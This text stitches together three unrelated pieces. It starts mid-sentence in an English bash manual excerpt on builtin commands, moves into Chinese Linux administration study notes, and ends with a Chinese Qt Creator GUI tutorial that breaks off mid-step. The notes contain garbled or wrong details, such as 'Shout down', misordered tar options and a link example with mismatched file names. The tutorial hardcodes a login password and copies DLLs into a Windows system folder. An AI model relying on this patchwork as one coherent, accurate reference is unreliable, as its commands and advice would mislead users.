a name that is not a function. fc [-e ename] [-nlr] [first] [last] fc -s [pat=rep] [cmd] Fix Command. In the first form, a range of commands from first to last is selected from the history list. First and last may be specified as a string (to locate the last command beginning with that string) or as a number (an index into the history list, where a negative number is used as an offset from the current command number). If last is not specified it is set to the current command for listing (so that ‘‘fc -l -10’’ prints the last 10 commands) and to first otherwise. If first is not speci- fied it is set to the previous command for editing and -16 for listing. The -n option suppresses the command numbers when listing. The -r option reverses the order of the commands. If the -l option is given, the commands are listed on standard output. Otherwise, the editor given by ename is invoked on a file contain- ing those commands. If ename is not given, the value of the FCEDIT variable is used, and the value of EDITOR if FCEDIT is not set. If neither variable is set, is used. When editing is complete, the edited commands are echoed and executed. In the second form, command is re-executed after each instance of pat is replaced by rep. A useful alias to use with this is ‘‘r="fc -s"’’, so that typing ‘‘r cc’’ runs the last command beginning with ‘‘cc’’ and typing ‘‘r’’ re-executes the last command. If the first form is used, the return value is 0 unless an invalid option is encoun- tered or first or last specify history lines out of range. If the -e option is sup- plied, the return value is the value of the last command executed or failure if an error occurs with the temporary file of commands. If the second form is used, the return status is that of the command re-executed, unless cmd does not specify a valid history line, in which case fc returns failure. fg [jobspec] Resume jobspec in the foreground, and make it the current job. If jobspec is not present, the shell’s notion of the current job is used. The return value is that of the command placed into the foreground, or failure if run when job control is dis- abled or, when run with job control enabled, if jobspec does not specify a valid job or jobspec specifies a job that was started without job control. getopts optstring name [args] getopts is used by shell procedures to parse positional parameters. optstring con- tains the option characters to be recognized; if a character is followed by a colon, the option is expected to have an argument, which should be separated from it by white space. The colon and question mark characters may not be used as option char- acters. Each time it is invoked, getopts places the next option in the shell vari- able name, initializing name if it does not exist, and the index of the next argument to be processed into the variable OPTIND. OPTIND is initialized to 1 each time the shell or a shell script is invoked. When an option requires an argument, getopts places that argument into the variable OPTARG. The shell does not reset OPTIND auto- matically; it must be manually reset between multiple calls to getopts within the same shell invocation if a new set of parameters is to be used. When the end of options is encountered, getopts exits with a return value greater than zero. OPTIND is set to the index of the first non-option argument, and name is set to ?. getopts normally parses the positional parameters, but if more arguments are given in args, getopts parses those instead. getopts can report errors in two ways. If the first character of optstring is a colon, silent error reporting is used. In normal operation diagnostic messages are printed when invalid options or missing option arguments are encountered. If the variable OPTERR is set to 0, no error messages will be displayed, even if the first character of optstring is not a colon. If an invalid option is seen, getopts places ? into name and, if not silent, prints an error message and unsets OPTARG. If getopts is silent, the option character found is placed in OPTARG and no diagnostic message is printed. If a required argument is not found, and getopts is not silent, a question mark (?) is placed in name, OPTARG is unset, and a diagnostic message is printed. If getopts is silent, then a colon (:) is placed in name and OPTARG is set to the option charac- ter found. getopts returns true if an option, specified or unspecified, is found. It returns false if the end of options is encountered or an error occurs. hash [-lr] [-p filename] [-dt] [name] For each name, the full file name of the command is determined by searching the directories in $PATH and remembered. If the -p option is supplied, no path search is performed, and filename is used as the full file name of the command. The -r option causes the shell to forget all remembered locations. The -d option causes the shell to forget the remembered location of each name. If the -t option is supplied, the full pathname to which each name corresponds is printed. If multiple name arguments are supplied with -t, the name is printed before the hashed full pathname. The -l option causes output to be displayed in a format that may be reused as input. If no arguments are given, or if only -l is supplied, information about remembered commands is printed. The return status is true unless a name is not found or an invalid option is supplied. help [-s] [pattern] Display helpful information about builtin commands. If pattern is specified, help gives detailed help on all commands matching pattern; otherwise help for all the builtins and shell control structures is printed. The -s option restricts the infor- mation displayed to a short usage synopsis. The return status is 0 unless no command matches pattern. history [n] history -c history -d offset history -anrw [filename] history -p arg [arg ...] history -s arg [arg ...] With no options, display the command history list with line numbers. Lines listed with a * have been modified. An argument of n lists only the last n lines. If the shell variable HISTTIMEFORMAT is set and not null, it is used as a format string for strftime(3) to display the time stamp associated with each displayed history entry. No intervening blank is printed between the formatted time stamp and the history line. If filename is supplied, it is used as the name of the history file; if not, the value of HISTFILE is used. Options, if supplied, have the following meanings: -c Clear the history list by deleting all the entries. -d offset Delete the history entry at position offset. -a Append the ‘‘new’’ history lines (history lines entered since the beginning of the current bash session) to the history file. -n Read the history lines not already read from the history file into the current history list. These are lines appended to the history file since the begin- ning of the current bash session. -r Read the contents of the history file and use them as the current history. -w Write the current history to the history file, overwriting the history file’s contents. -p Perform history substitution on the following args and display the result on the standard output. Does not store the results in the history list. Each arg must be quoted to disable normal history expansion. -s Store the args in the history list as a single entry. The last command in the history list is removed before the args are added. If the HISTTIMEFORMAT is set, the time stamp information associated with each history entry is written to the history file. The return value is 0 unless an invalid option is encountered, an error occurs while reading or writing the history file, an invalid offset is supplied as an argument to -d, or the history expansion supplied as an argument to -p fails. jobs [-lnprs] [ jobspec ... ] jobs -x command [ args ... ] The first form lists the active jobs. The options have the following meanings: -l List process IDs in addition to the normal information. -p List only the process ID of the job’s process group leader. -n Display information only about jobs that have changed status since the user was last notified of their status. -r Restrict output to running jobs. -s Restrict output to stopped jobs. If jobspec is given, output is restricted to information about that job. The return status is 0 unless an invalid option is encountered or an invalid jobspec is sup- plied. If the -x option is supplied, jobs replaces any jobspec found in command or args with the corresponding process group ID, and executes command passing it args, returning its exit status. kill [-s sigspec | -n signum | -sigspec] [pid | jobspec] ... kill -l [sigspec | exit_status] Send the signal named by sigspec or signum to the processes named by pid or jobspec. sigspec is either a case-insensitive signal name such as SIGKILL (with or without the SIG prefix) or a signal number; signum is a signal number. If sigspec is not present, then SIGTERM is assumed. An argument of -l lists the signal names. If any arguments are supplied when -l is given, the names of the signals corresponding to the arguments are listed, and the return status is 0. The exit_status argument to -l is a number specifying either a signal number or the exit status of a process termi- nated by a signal. kill returns true if at least one signal was successfully sent, or false if an error occurs or an invalid option is encountered. let arg [arg ...] Each arg is an arithmetic expression to be evaluated (see ARITHMETIC EVALUATION). If the last arg evaluates to 0, let returns 1; 0 is returned otherwise. local [option] [name[=value] ...] For each argument, a local variable named name is created, and assigned value. The option can be any of the options accepted by declare. When local is used within a function, it causes the variable name to have a visible scope restricted to that function and its children. With no operands, local writes a list of local variables to the standard output. It is an error to use local when not within a function. The return status is 0 unless local is used outside a function, an invalid name is sup- plied, or name is a readonly variable. logout Exit a login shell. popd [-n] [+n] [-n] Removes entries from the directory stack. With no arguments, removes the top direc- tory from the stack, and performs a cd to the new top directory. Arguments, if sup- plied, have the following meanings: +n Removes the nth entry counting from the left of the list shown by dirs, start- ing with zero. For example: ‘‘popd +0’’ removes the first directory, ‘‘popd +1’’ the second. -n Removes the nth entry counting from the right of the list shown by dirs, starting with zero. For example: ‘‘popd -0’’ removes the last directory, ‘‘popd -1’’ the next to last. -n Suppresses the normal change of directory when removing directories from the stack, so that only the stack is manipulated. If the popd command is successful, a dirs is performed as well, and the return status is 0. popd returns false if an invalid option is encountered, the directory stack is empty, a non-existent directory stack entry is specified, or the directory change fails. printf [-v var] format [arguments] Write the formatted arguments to the standard output under the control of the format. The format is a character string which contains three types of objects: plain charac- ters, which are simply copied to standard output, character escape sequences, which are converted and copied to the standard output, and format specifications, each of which causes printing of the next successive argument. In addition to the standard printf(1) formats, %b causes printf to expand backslash escape sequences in the cor- responding argument (except that \c terminates output, backslashes in \', \", and \? are not removed, and octal escapes beginning with \0 may contain up to four digits), and %q causes printf to output the corresponding argument in a format that can be reused as shell input. The -v option causes the output to be assigned to the variable var rather than being printed to the standard output. The format is reused as necessary to consume all of the arguments. If the format requires more arguments than are supplied, the extra format specifications behave as if a zero value or null string, as appropriate, had been supplied. The return value is zero on success, non-zero on failure. pushd [-n] [dir] pushd [-n] [+n] [-n] Adds a directory to the top of the directory stack, or rotates the stack, making the new top of the stack the current working directory. With no arguments, exchanges the top two directories and returns 0, unless the directory stack is empty. Arguments, if supplied, have the following meanings: +n Rotates the stack so that the nth directory (counting from the left of the list shown by dirs, starting with zero) is at the top. -n Rotates the stack so that the nth directory (counting from the right of the list shown by dirs, starting with zero) is at the top. -n Suppresses the normal change of directory when adding directories to the stack, so that only the stack is manipulated. dir Adds dir to the directory stack at the top, making it the new current working directory. If the pushd command is successful, a dirs is performed as well. If the first form is used, pushd returns 0 unless the cd to dir fails. With the second form, pushd returns 0 unless the directory stack is empty, a non-existent directory stack element is specified, or the directory change to the specified new current directory fails. pwd [-LP] Print the absolute pathname of the current working directory. The pathname printed contains no symbolic links if the -P option is supplied or the -o physical option to the set builtin command is enabled. If the -L option is used, the pathname printed may contain symbolic links. The return status is 0 unless an error occurs while reading the name of the current directory or an invalid option is supplied. read [-ers] [-u fd] [-t timeout] [-a aname] [-p prompt] [-n nchars] [-d delim] [name ...] One line is read from the standard input, or from the file descriptor fd supplied as an argument to the -u option, and the first word is assigned to the first name, the second word to the second name, and so on, with leftover words and their intervening separators assigned to the last name. If there are fewer words read from the input stream than names, the remaining names are assigned empty values. The characters in IFS are used to split the line into words. The backslash character (\) may be used to remove any special meaning for the next character read and for line continuation. Options, if supplied, have the following meanings: -a aname The words are assigned to sequential indices of the array variable aname, starting at 0. aname is unset before any new values are assigned. Other name arguments are ignored. -d delim The first character of delim is used to terminate the input line, rather than newline. -e If the standard input is coming from a terminal, readline (see READLINE above) is used to obtain the line. -n nchars read returns after reading nchars characters rather than waiting for a com- plete line of input. -p prompt Display prompt on standard error, without a trailing newline, before attempt- ing to read any input. The prompt is displayed only if input is coming from a terminal. -r Backslash does not act as an escape character. The backslash is considered to be part of the line. In particular, a backslash-newline pair may not be used as a line continuation. -s Silent mode. If input is coming from a terminal, characters are not echoed. -t timeout Cause read to time out and return failure if a complete line of input is not read within timeout seconds. This option has no effect if read is not reading input from the terminal or a pipe. -u fd Read input from file descriptor fd. If no names are supplied, the line read is assigned to the variable REPLY. The return code is zero, unless end-of-file is encountered, read times out, or an invalid file descriptor is supplied as the argument to -u. readonly [-apf] [name[=word] ...] The given names are marked readonly; the values of these names may not be changed by subsequent assignment. If the -f option is supplied, the functions corresponding to the names are so marked. The -a option restricts the variables to arrays. If no name arguments are given, or if the -p option is supplied, a list of all readonly names is printed. The -p option causes output to be displayed in a format that may be reused as input. If a variable name is followed by =word, the value of the vari- able is set to word. The return status is 0 unless an invalid option is encountered, one of the names is not a valid shell variable name, or -f is supplied with a name that is not a function. return [n] Causes a function to exit with the return value specified by n. If n is omitted, the return status is that of the last command executed in the function body. If used outside a function, but during execution of a script by the . (source) command, it causes the shell to stop executing that script and return either n or the exit status of the last command executed within the script as the exit status of the script. If used outside a function and not during execution of a script by ., the return status is false. Any command associated with the RETURN trap is executed before execution resumes after the function or script. set [--abefhkmnptuvxBCHP] [-o option] [arg ...] Without options, the name and value of each shell variable are displayed in a format that can be reused as input for setting or resetting the currently-set variables. Read-only variables cannot be reset. In posix mode, only shell variables are listed. The output is sorted according to the current locale. When options are specified, they set or unset shell attributes. Any arguments remaining after the options are processed are treated as values for the positional parameters and are assigned, in order, to $1, $2, ... $n. Options, if specified, have the following meanings: -a Automatically mark variables and functions which are modified or created for export to the environment of subsequent commands. -b Report the status of terminated background jobs immediately, rather than before the next primary prompt. This is effective only when job control is enabled. -e Exit immediately if a simple command (see SHELL GRAMMAR above) exits with a non-zero status. The shell does not exit if the command that fails is part of the command list immediately following a while or until keyword, part of the test in an if statement, part of a && or ││ list, or if the command’s return value is being inverted via !. A trap on ERR, if set, is executed before the shell exits. -f Disable pathname expansion. -h Remember the location of commands as they are looked up for execution. This is enabled by default. -k All arguments in the form of assignment statements are placed in the environ- ment for a command, not just those that precede the command name. -m Monitor mode. Job control is enabled. This option is on by default for interactive shells on systems that support it (see JOB CONTROL above). Back- ground processes run in a separate process group and a line containing their exit status is printed upon their completion. -n Read commands but do not execute them. This may be used to check a shell script for syntax errors. This is ignored by interactive shells. -o option-name The option-name can be one of the following: allexport Same as -a. braceexpand Same as -B. emacs Use an emacs-style command line editing interface. This is enabled by default when the shell is interactive, unless the shell is started with the --noediting option. errtrace Same as -E. functrace Same as -T. errexit Same as -e. hashall Same as -h. histexpand Same as -H. history Enable command history, as described above under HISTORY. This option is on by default in interactive shells. ignoreeof The effect is as if the shell command ‘‘IGNOREEOF=10’’ had been exe- cuted (see Shell Variables above). keyword Same as -k. monitor Same as -m. noclobber Same as -C. noexec Same as -n. noglob Same as -f. nolog Currently ignored. notify Same as -b. nounset Same as -u. onecmd Same as -t. physical Same as -P. pipefail If set, the return value of a pipeline is the value of the last (rightmost) command to exit with a non-zero status, or zero if all command
Shout down –n now 关机时同步备份内存中的数据 useradd + 用户 创建用户 userdel + user 可以用来删除用户 passwd + user 更改用户密码(不加user ,则更改当前用户密码) poweroff 关机 reboot 重启 vim vi 下 :wq 在vim or vi 后保存退出 :q 不保存退出 :q! 强制退出 在非insert 下可用 x来删除光标所在处字符 dw 可以删除一个单词 d 用来删除一行 w - 从当前光标当前位置直到单字/单词末尾,包括空格。 e - 从当前光标当前位置直到单字/单词末尾,但是 *不* 包括空格。 $ - 从当前光标当前位置直到当前行末。 u 来撤销最后执行的命令 dd 删除整行 yy复制 按p 粘贴 gg 到首行 G 到最后一行 输入 p 将最后一次删除的内容置入光标之后 输入 r 和一个字符替换光标所在位置的字符 按下 SHIFT-G 键可以使得当前光标直接跳转到文件最后一行 /string 下搜索 shift +n 向上搜索 n 向下搜 ?string 上搜索 gedit + name 用来图形化编辑 rmdir 删除目录 rm 删除文件 sed 's/cat/dog/' cats 将cats 文件中cat 替换成dog cd – 可以使回到上次的目录 eg./tmp/jack/rose/love 先在love 目录下,后回到jack目录下cd – 后回到love 目录下 /etc/passwd /etc/shadow /etc/group /etc/gshadow 与user 有关的文件 chmod u/g/o/a +/-/= /r/w/x file name 改权限 -r 递归改 R 100=4 W 010=2 X 001=1 数字表示法 chown user file 改文件所有用户 chown user。group file 改文件的用户与所属组 chgrp group file 改文件所有组 usermod –G(g覆盖原组) grpup user改用户属于什么组(共享的组,即同时可以在多个组中) df 查看分区信息 sda 串口硬盘 —h 可读的 du 查看当前目录下的使用情况 fdisk –l 查看磁盘分区信息 mkfs 查看格式化的版本 eg. mkfs.ext4 +设备 格式化 mount 查看挂载信息 virtual-manage 打开虚拟机 eg. mv /usr/bin/passwd /usr/bin/pw 将改密码的命令passwd 改为pw pwd 用户目前存在位置 cp file [file2] directory mv file [file2] directory 剪切 or 改名字 rm –r directory==rmdir rm file rm –rf directory [file] 在/etc/redhat-release 中存放RHEL的版本信息 env LANG= 语言 tail –f file 使查看的文件不断更新查看 cut –d:(:为指定通配符,:可以另外改) –f1(1为通配符前第几个,可以改) file wc 统计单词,行数 sort 排序 command1| command2 command1的输出是command2的输入 DNS全球通用的: 8.8.8.8 DHCP :动态分配IP地址 255.255.255 网络段 0 主机 ifconfig –a 查看所有网卡 mask 子网掩码,分辨网络地址,与主机地址 改IP地址: /etc/sysconfig/network-scripts 在此目录下,文件名与网卡名要一样 Vim ifconfgi eth0(网卡) 在我虚拟机上的是ifcfg-eht0 可以将”dhcp” 改成”static ”(静态的) 增加IPADDR=ip地址 Onboot=yes (用来是否开关此网卡) ipaddr=…… NETMASK=子网掩码 GATEWAY=网关 or service network restart(reload) /etc/init.d/network restart(reload) Ifdown(ifup) eth0 开关网卡 /etc/init.d networkmanager stop /etc/init.d/network restart 重启网络网卡 Chkconfig networkmanager off 关闭此服务 配置dns : vim /etc/resolv.conf nameserver(命令) ip 立刻生效 hostname 主机名 /etc/sysconfig/network (里面有全局网关gateway) hostname +主机名 可以立刻改名,但未写入文件中 /etc/hosts 本地域名解析,可以改自己定义的域名 ip 域名(www……..) startx 启动图形界面 ssh 用户名@ip 以此用户名登陆 scp file1 ip:file2 远程将本机file1拷贝到ip为此的机子的目录下 scp ip:file1 file2 远程将ip 的file1拷贝到本机file2 中 ln –s file1 file2 为file1创建file3的软连接 ln –s file1(绝对路径) file2(绝对路径) 可以为file1 跨目录连接到file2 ln file1 file2 为file1创建file3 的硬连接 同时删除file1 和file2 才能删除文件 分发系统: 1. 支持pxe client 功能,有pxe的网卡 (client端) 2. 有配置文件config system-config-kick 创建kick 文件 (server端) 3. 为安装文件提供Kickstar文件 /etc 4. client端通过pxe处获取config的文件然后重启 用dhcp协议 用tftp协议 tar –cvfz 打包 tar –xzvf 解压 -tvf 查看打包的里面的文件 [abc….] 【】中任意一个单词匹配 [^abc….] 不与[ ]中任意一个单词匹配 ^word 行首匹配 $word 行尾匹配 2> 将错误输入到…….. eg. cp –rf /etc/passwd /tmp 1 > (正确重定向)file 2> (错误重定向) grep …. 过滤只有…. /etc/fstab 查看所有挂载 /dev/sda[number] 挂载点(/mnt) 文件格式(ext4)defaults kdump(备份) 加电自检否 0 0 1 1 2 2 1备份级别高 2备份级别低 0 不会执行 mount –a 重新执行/fstab表的内容 即重新挂载 增加swap分区: 在分区内容下,即command ……下 t l 数字 将分区变成swap的 partx –a 硬盘 mkswap 分区 挂载 swapon 分区 使分区生效 free –m 查看swap 或者swapon –s swapoff 分区 可以使某个swap分区关闭方便其他使用 /etc/inittab 有开机时启动关的数字选项 具体可用 init number 来命令 umask (权限掩码) 可用命令umask 查看 改变umask : umask 0022 隐藏权限:chattr 用lsattr file 可看隐藏权限 chattr +a/e file 改变特殊权限(针对非root用户) chmod u-s file 可以去掉特殊权限 +s 关闭selinux /etc/sysconfig/selinux suid 针对文件 rwsrwxrwx 拥有者有x权限的基础才能有s权限 其他用户可以临时的拥有用户的权限 sgid 针对文件与目录 临时拥有用户组的权限 eg.chgrp group directory chmod g+s(-s) directory 则以后directory 的file全属于组g sbit 针对目录 当other中有x位有t 权限 除文件拥有者,root外对directory内的file 不可删,但可以写入 4 suid 2 sgid 1 sbit chmod u+s directory g+s o+t 有效用户组:排第一位的组 groups user 查看user的组 改有效用户组: 在当前用户下 newgrp group(此组为user属于的组) rpm 包 相当于一个exe文件 rpm包: rpm –i (install) 包名 -v(显示信息) 包名 -h (show) yum库: 将许多包关联,使包可以一起安装不需要用rpm 一个一个的装 ldap:统一名字(在服务器上) authconfig-tui 打开ldap 空格键 确定选中 用图形用户打开ldap: system-config-authentication /etc/init.d/NetworkManager status 查看状态 一般关闭,否则许多网络的服务不能起来 iptables –F 清空所有网卡规则 crontab(计划任务): 查看:crontab –l 编辑: crontab –e –u user 配置文件: 分 时 日 月 周 看最后一行:* * * * * user command(如果不用在此时间则用* eg. 10 8 * * * /bin/echo “jdsj”) 每隔10Min执行一次 */10 * * * *…. 几点到几点: * 8--10 * * * ….. 每天8点到10点做什么 * 9,15 * * * ..每天9点,15点提醒做什么 service crond restart 在设置好提醒后重启服务 提醒会在邮箱中 在/etc/crontab中MAILTO =user则会在邮箱提醒,否则刷屏提醒 /etc/cron.deny 禁止使用计划任务 计划任务中执行脚本: command 处写 sh *.sh(脚本文件) quota(磁盘配额:限制个人所用的磁盘大小):目录在哪分区,则针对某分区进行磁盘配额 检测:edquota –u user edquota –g group 修改fstab表:defaults,usrquota,grpquota 重新挂载 :mount –a or mount –o remount /(directory or device) 强制检测并开启quota :quotacheck –avugcm quota -avug edquota –u user 查看是否开启了:quota –u user ntp :同步时间 vim /etc/ntp.conf 在注释hosts on local ….处 restrict ip 下面: server ip 服务端设置: 在use inaccurate…… server ip fudge….打开注释即可 ntpq –p (查看ntp server是否还在) vim /etc/grub.conf timeout=number 开机读秒数 default=num 启用的内核 vim /etc/inittab id:num:initdefault (启动时用的是否是图形界面等) find /dircetory –name filename –user username(属于user 的文件) -group groupname -user username not –group groupname(其他组) -exec(前面的结果相当于后面命令的输入) 连接前后命令 相当于管道符 eg. find / -user username –exec cp [参数] {} /directory \; vim .bash_profile 环境变量文件 bios mbr boot lo(grub.conf 在开机时识别kernel) kernel 防火墙级别: 1. 硬件防火墙 2. tcp_wrapper(用来分析tcp/ip封包的软件) 3. iptables 基于数据流的防火 4. 内核级别:selinux 5. 服务本身
一、Qt Creator 的安装和hello world 程序的编写(原创) 1.首先到Qt 的官方网站上下载Qt Creator,这里我们下载windows 版的。 下载地址:http://qt.nokia.com/downloads 如下图我们下载:Download Qt SDK for Windows* (178Mb) 下载完成后,直接安装即可,安装过程中按默认设置即可。 2.运行Qt Creator,首先弹出的是欢迎界面,这里可以打开其自带的各种演示 程序。 3.我们用File->New 菜单来新建工程。 4.这里我们选择Qt4 Gui Application。 5.下面输入工程名和要保存到的文件夹路径。我们这里的工程名为helloworld。 6.这时软件自动添加基本的头文件,因为这个程序我们不需要其他的功能,所以 直接点击Next。 7.我们将base class 选为QDialog 对话框类。然后点击Next。 8.点击Finish,完成工程的建立。 9.我们可以看见工程中的所有文件都出现在列表中了。我们可以直接按下下面的 绿色的run 按钮或者按下Ctrl+R 快捷键运行程序。 10.程序运行会出现空白的对话框,如下图。 11.我们双击文件列表的dialog.ui 文件,便出现了下面所示的图形界面编辑界 面。 12.我们在右边的器件栏里找到Label 标签器件 13.按着鼠标左键将其拖到设计窗口上,如下图。 14.我们双击它,并将其内容改为helloworld。 15.我们在右下角的属性栏里将字体大小由9 改为15。 16.我们拖动标签一角的蓝点,将全部文字显示出来。 17.再次按下运行按钮,便会出现helloworld。 到这里helloworld 程序便完成了。 Qt Creator 编译的程序,在其工程文件夹下会有一个debug 文件夹,其中有程序的.exe 可执行文件。但Qt Creator 默认是用动态链接的, 就是可执行程序在运行时需要相应的.dll 文件。我们点击生成的.exe 文件,首 先可能显示“没有找到mingwm10.dll,因此这个应用程序未能启动。重新安装 应用程序可能会修复此问题。”表示缺少mingwm10.dll 文件。 解决这个问题我们可以将相应的.dll 文件放到系统 中。在Qt Creator 的安装目录的qt 文件下的bin 文件夹下(我安装在了D 盘, 所以路径是D:\Qt\2009.04\qt\bin),可以找到所有的相关.dll 文件。在这里 找到mingwm10.dll 文件,将其复制到C:\WINDOWS\system 文件夹下,即可。下 面再提示缺少什么dll 文件,都像这样解决就可以了。 二、Qt Creator 编写多窗口程序(原创) 实现功能: 程序开始出现一个对话框,按下按钮后便能进入主窗口,如果直 接关闭这个对话框,便不能进入主窗口,整个程序也将退出。当进入主窗口后, 我们按下按钮,会弹出一个对话框,无论如何关闭这个对话框,都会回到主窗口。 实现原理: 程序里我们先建立一个主工程,作为主界面,然后再建立一个对 话框类,将其加入工程中,然后在程序中调用自己新建的对话框类来实现多窗口。 实现过程: 1.首先新建Qt4 Gui Application 工程,工程名为nGui,Base class 选为QWidget。 建立好后工程文件列表如下图。 2.新建对话框类,如下图,在新建中,选择Qt Designer Form Class。 3.选择Dialog without Buttons。 4.类名设为myDlg。 5.点击Finish 完成。注意这里已经默认将其加入到了我们刚建的工程中了。 6.如下图,在mydlg.ui 中拖入一个Push Button,将其上的文本改为“进入主 窗口”,在其属性窗口中将其objectName 改为enterBtn,在下面的Signals and slots editor 中进行信号和槽的关联,其中,Sender 设为enterBtn,Signal 设为clicked(),Receive 设为myDlg,Slot 设为accept()。这样就实现了单击 这个按钮使这个对话框关闭并发出Accepted 信号的功能。下面我们将利用这个 信号。 7.修改主函数main.cpp,如下: #include <QtGui/QApplication> #include "widget.h" #include "mydlg.h" //加入头文件 int main(int argc, char *argv[]) { QApplication a(argc, argv); Widget w; myDlg my1; //建立自己新建的类的对象my1 if(my1.exec()==QDialog::Accepted) //利用Accepted 信号判 断enterBtn 是否被按下 { w.show(); //如果被按下,显示主窗口 return a.exec(); //程序一直执行,直到主窗口 关闭 } else return 0; //如果没被按下,则不会进入主窗口,整个程 序结束运行 } 主函数必须这么写,才能完成所要的功能。 如果主函数写成下面这样: #include <QtGui/QApplication> #include "widget.h" #include "mydlg.h" int main(int argc, char *argv[]) { QApplication a(argc, argv); myDlg my1; if(my1.exec()==QDialog::Accepted) { Widget w; w.show(); } return a.exec(); } 这样,因为w 是在if 语句里定义的,所以当if 语句执行完后它就无效了。这样 导致的后果就是,按下enterBtn 后,主界面窗口一闪就没了。如果此时对程序 改动了,再次点击运行时,就会出现error: collect2: ld returned 1 exit status 的错误。这是因为虽然主窗口没有显示,但它只是隐藏了,程序并没有 结束,而是在后台运行。所以这时改动程序,再运行时便会出错。你可以按下调 试栏上面的红色Stop 停止按钮来停止程序运行。你也可以在windows 任务管理 器的进程中将该进程结束,而后再次运行就没问题了,当然先关闭Qt Creator, 而后再重新打开,这样也能解决问题。 如果把程序改为这样: #include <QtGui/QApplication> #include "widget.h" #include "mydlg.h" int main(int argc, char *argv[]) { QApplication a(argc, argv); myDlg my1; Widget w; if(my1.exec()==QDialog::Accepted) { w.show(); } return a.exec(); } 这样虽然解决了上面主窗口一闪而过的问题,但是,如果在my1 对话框出现的时 候不点enterBtn,而是直接关闭对话框,那么此时整个程序应该结束执行,但 是事实是这样的吗?如果你此时对程序进行了改动,再次按下run 按钮,你会发 现又出现了error: collect2: ld returned 1 exit status 的错误,这说明程 序并没有结束,我们可以打开windows 任务管理器,可以看到我们的程序仍在执 行。 因为return a.exec();一句表示只要主窗口界面不退出,那么程 序就会一直执行。所以只有用第一种方法,将该语句也放到if 语句中,而在else 语句中用else return 0; ,这样如果enterBtn 没有被按下,那么程序就会结 束执行了。 到这里,我们就实现了一个界面结束执行,然后弹出另一个 界面的程序。下面我们在主窗口上加一个按钮,按下该按钮,弹出一个对话框, 但这个对话框关闭,不会使主窗口关闭。 8.如下图,在主窗口加入按钮,显示文本为“弹出一个对话框”,在其上点击鼠 标右键,在弹出的菜单中选择go to slot。 9.我们选择单击事件clicked()。 10.我们在弹出的槽函数中添加一句: my2.show(); my2 为我们新建对话框类的另一个对象,但是my2 我们还没有定义,所以 在widget.h 文件中添加相应代码,如下,先加入头文件,再加入my2 的定义语 句,这里我们将其放到private 里,因为一般的函数都放在public 里,而变量 都放在private 里。 #ifndef WIDGET_H #define WIDGET_H #include <QtGui/QWidget> #include "mydlg.h" //包含头文件 namespace Ui { class Widget; } class Widget : public QWidget { Q_OBJECT public: Widget(QWidget *parent = 0); ~Widget(); private: Ui::Widget *ui; myDlg my2; //对my2 进行定义 private slots: void on_pushButton_clicked(); }; #endif // WIDGET_H 到这里,再运行程序,便能完成我们实验要求的功能了。整个程序里,我们用两 种方法实现了信号和槽函数的关联,第一个按钮我们直接在设计器中实现其关 联;第二个按钮我们自己写了槽函数语句,其实图形的设计与直接写代码效果是 一样的。 这个程序里我们实现了两类窗口打开的方式,一个是自身消失而 后打开另一个窗口,一个是打开另一个窗口而自身不消失。可以看到他们实现的 方法是不同的。 三、Qt Creator 登录对话框(原创) 实现功能: 在弹出对话框中填写用户名和密码,按下登录按钮,如果用户名和密码均正确则 进入主窗口,如果有错则弹出警告对话框。 实现原理: 通过上节的多窗口原理实现由登录对话框进入主窗口,而用户名和密码可以用 if 语句进行判断。 实现过程: 1.先新建Qt4 Gui Application 工程,工程名为mainWidget,选用QWidget 作 为Base class,这样便建立了主窗口。文件列表如下: 2.然后新建一个Qt Designer Form Class 类,类名为loginDlg,选用Dialog without Buttons,将其加入上面的工程中。文件列表如下: 3.在logindlg.ui 中设计下面的界面:行输入框为Line Edit。其中用户名后面 的输入框在属性中设置其object Name 为usrLineEdit,密码后面的输入框为 pwdLineEdit,登录按钮为loginBtn,退出按钮为exitBtn。 4.将exitBtn 的单击后效果设为退出程序,关联如下: 5.右击登录按钮选择go to slot,再选择clicked(),然后进入其单击事件的槽 函数,写入一句 void loginDlg::on_loginBtn_clicked() { accept(); } 6.改写main.cpp: #include <QtGui/QApplication> #include "widget.h" #include "logindlg.h" int main(int argc, char *argv[]) { QApplication a(argc, argv); Widget w; loginDlg login; if(login.exec()==QDialog::Accepted) { w.show(); return a.exec(); } else return 0; } 7.这时执行程序,可实现按下登录按钮进入主窗口,按下退出按钮退出程序。 8.添加用户名密码判断功能。将登陆按钮的槽函数改为: void loginDlg::on_loginBtn_clicked() { if(m_ui->usrLineEdit->text()==tr("qt")&&m_ui->pwdLineEdit->text()==tr ("123456")) //判断用户名和密码是否正确 accept(); else{ QMessageBox::warning(this,tr("Warning"),tr("user name or password error!"),QMessageBox::Yes); //如果不正确,弹出警告对话框 } } 并在logindlg.cpp 中加入#include <QtGui>的头文件。如果不加这个头文件, QMessageBox 类不可用。 9.这时再执行程序,输入用户名为qt,密码为123456,按登录按钮便能进入主 窗口了,如果输入错了,就会弹出警告对话框。 如果输入错误,便会弹出警告提示框: 10.在logindlg.cpp 的loginDlg 类构造函数里,添上初始化语句,使密码显示 为小黑点。 loginDlg::loginDlg(QWidget *parent) : QDialog(parent), m_ui(new Ui::loginDlg) { m_ui->setupUi(this); m_ui->pwdLineEdit->setEchoMode(QLineEdit::Password); } 效果如下: 11.如果输入如下图中的用户名,在用户名前不小心加上了一些空格,结果程序 按错误的用户名对待了。 我们可以更改if 判断语句,使这样的输入也算正确。 void loginDlg::on_loginBtn_clicked() { if(m_ui->usrLineEdit->text().trimmed()==tr("qt")&&m_ui->pwdLineEdit-> text()==tr("123456")) accept(); else{ QMessageBox::warning(this,tr("Warning"),tr("user name or password error!"),QMessageBox::Yes); } } 加入的这个函数的作用就是移除字符串开头和结尾的空白字符。 12.最后,如果输入错误了,重新回到登录对话框时,我们希望可以使用户名和 密码框清空并且光标自动跳转到用户名输入框,最终的登录按钮的单击事件的槽 函数如下: void loginDlg::on_loginBtn_clicked() { if(m_ui->usrLineEdit->text().trimmed()==tr("qt")&&m_ui->pwdLineEdit-> text()==tr("123456")) //判断用户名和密码是否正确 accept(); else{ QMessageBox::warning(this,tr("Warning"),tr("user name or password error!"),QMessageBox::Yes); //如果不正确,弹出警告对话框 m_ui->usrLineEdit->clear();//清空用户名输入框 m_ui->pwdLineEdit->clear();//清空密码输入框 m_ui->usrLineEdit->setFocus();//将光标转到用户名输入框 } } 四、Qt Creator 添加菜单图标(原创) 在下面的几节,我们讲述Qt 的MainWindow 主窗口部件。这一节只讲述怎样在其 上的菜单栏里添加菜单和图标。 1.新建Qt4 Gui Application 工程,将工程命名为MainWindow,其他选项默认 即可。 生成的窗口界面如下图。其中最上面的为菜单栏。 2.我们在Type Here 